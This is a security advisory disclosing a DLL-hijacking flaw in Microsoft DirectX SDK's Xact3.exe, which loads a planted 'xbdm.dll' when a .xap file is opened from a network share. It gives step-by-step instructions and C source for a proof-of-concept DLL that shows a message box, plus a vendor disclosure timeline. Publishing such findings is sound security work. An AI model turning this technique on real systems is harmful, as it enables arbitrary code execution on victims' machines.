[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DIRECTX-SDK-XACT.EXE-TROJAN-FILE-CODE-EXECUTION.txt [+] ISR: Apparition Security ***Greetz: indoushka | Eduardo*** Vendor ============= www.microsoft.com Product =========== Microsoft DirectX SDK (June 2010) Xact3.exe https://www.microsoft.com/en-us/download/details.aspx?id=6812 XACT (Cross-platform audio creation tool) is an audio creation and authoring tool from Microsoft. It comes with a graphical interface that allows sound designers to create audio resources for games, that can be integrated into XNA projects, offering the game developer a convenient way of accessing these sounds. Vulnerability Type =================== Remote Code Execution CVE Reference ============== N/A Security Issue ================ Microsoft DirectX SDK "Xact3.exe" Cross-platform tool allows for arbitrary code execution via a Trojan horse file "xbdm.dll" in the current working directory, upon opening a ".xap" project file from same location. The DirectX SDK deprecated but still avail for download at time of this writing ... Exploit/POC ============= 1) create DLL 32bit DLL named "xbdm.dll" and place on a remote share 2) create an empty file with a ".xap" extension on the same share, this will open using "Xact3.exe" as its default 3) open the the .xap file from the Network share then BOOM! #include <windows.h> /* hyp3rlinx */ /* gcc -c -m32 xbdm.c gcc -shared -m32 -o xbdm.dll xbdm.o */ void executo(){ MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , "philbin :)" , MB_YESNO + MB_ICONQUESTION ); } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){ switch(fdwReason){ case DLL_PROCESS_ATTACH:{ executo(); break; } case DLL_PROCESS_DETACH:{ executo(); break; } case DLL_THREAD_ATTACH:{ executo(); break; } case DLL_THREAD_DETACH:{ executo(); break; } } return TRUE; } Network Access =============== Remote Severity ========= High Disclosure Timeline ============================= Vendor Notification: June 7, 2018 MSRC Case 45973 : June 13, 2018 MSRC : "While your finding is valid, we wont service this issue because the legacy DirectX SDK is deprecated." : August 10, 2018 August 11, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx